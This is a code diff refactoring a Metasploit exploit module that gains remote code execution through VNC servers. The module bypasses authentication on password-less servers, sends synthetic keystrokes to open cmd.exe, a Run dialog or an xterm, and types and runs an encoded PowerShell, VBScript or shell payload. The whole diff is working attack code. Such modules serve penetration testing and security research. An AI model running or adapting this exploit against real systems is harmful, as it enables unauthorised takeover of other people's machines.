diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index f12c1c2754..6b25a165fc 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -9,6 +9,9 @@ require 'rex/proto/rfb' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking + WINDOWS_KEY = "\xff\xeb" + ENTER_KEY = "\xff\x0d" + include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell @@ -24,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'xistence ' ], 'Privileged' => false, + 'DefaultOptions' => { 'WfsDelay' => 20 }, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, 'Targets' => @@ -39,12 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The VNC password']), - OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20]) + OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20]) ], self.class) end - def press_key( key ) + def press_key(key) keyboard_key = "\x04\x01" # Press key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key @@ -53,49 +57,46 @@ class Metasploit3 < Msf::Exploit::Remote end - def release_key( key ) + def release_key(key) keyboard_key = "\x04\x00" # Release key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key - # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream + # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end - def exec_command( command ) + def exec_command(command) values = command.chars.to_a values.each do |value| press_key("\x00#{value}") release_key("\x00#{value}") end - press_key(@enter_key) + press_key(ENTER_KEY) end - def start_cmdprompt + def start_cmd_prompt print_status("#{rhost}:#{rport} - Opening Run command") # Pressing and holding windows key for 1 second - press_key(@windows_key) - select(nil, nil, nil, 1) + press_key(WINDOWS_KEY) + Rex.select(nil, nil, nil, 1) # Press the "r" key press_key("\x00r") # Now we can release both keys again release_key("\x00r") - release_key(@windows_key) + release_key(WINDOWS_KEY) # Wait a second to open run command window select(nil, nil, nil, 1) - exec_command("cmd.exe") + exec_command('cmd.exe') # Wait a second for cmd.exe prompt to open - select(nil, nil, nil, 1) + Rex.select(nil, nil, nil, 1) end def exploit begin - - @enter_key = "\xff\x0d" - @windows_key = "\xff\xeb" alt_key = "\xff\xe9" f2_key = "\xff\xbf" password = datastore['PASSWORD'] @@ -104,92 +105,78 @@ class Metasploit3 < Msf::Exploit::Remote vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) unless vnc.handshake - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") end - unless password.nil? + if password.nil? + print_status("#{rhost}:#{rport} - Bypass authentication") + # The following byte is sent in case the VNC server end doesn't require authentication (empty password) + sock.put("\x10") + else print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") if vnc.authenticate(password) print_status("#{rhost}:#{rport} - Authenticated") else - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") end - else - print_status("#{rhost}:#{rport} - Bypass authentication") - # The following byte is sent in case the VNC server end doesn't require authentication (empty password) - sock.put("\x10") end - - # Send shared desktop unless vnc.send_client_init - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") end if target.name =~ /VBScript CMDStager/ - - start_cmdprompt + start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") execute_cmdstager({:flavor => :vbs, :linemax => 8100}) - # Exit the CMD prompt - exec_command("exit") - + exec_command('exit') elsif target.name =~ /Powershell/ - - start_cmdprompt + start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true}) # Execute powershell payload and make sure we exit our CMD prompt exec_command("#{command} && exit") - elsif target.name =~ /Linux/ - - print_status("#{rhost}:#{rport} - Opening \"Run Application\"") + print_status("#{rhost}:#{rport} - Opening 'Run Application'") # Press the ALT key and hold it for a second press_key(alt_key) - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Press F2 to start up "Run application" press_key(f2_key) - # Release ALT + F2 release_key(alt_key) release_key(f2_key) - # Wait a second for "Run application" to start - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Start a xterm window print_status("#{rhost}:#{rport} - Opening xterm") - exec_command("xterm") - + exec_command('xterm') # Wait a second for "xterm" to start - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Execute our payload and exit (close) the xterm window print_status("#{rhost}:#{rport} - Typing and executing payload") exec_command("nohup #{payload.encoded} &") - exec_command("exit") + exec_command('exit') end - # Wait up to X seconds, else might timeout/disconnect before full payload is typed - select(nil, nil, nil, datastore['TIMEWAIT']) + (datastore['TIME_WAIT']).times do + Rex.sleep(1) + + # Success! session is here! + break if session_created? + end - handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e - print_error("#{rhost}:#{rport} - #{e.message}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") ensure disconnect end end def execute_command(cmd, opts = {}) - exec_command(cmd) + exec_command(cmd) end end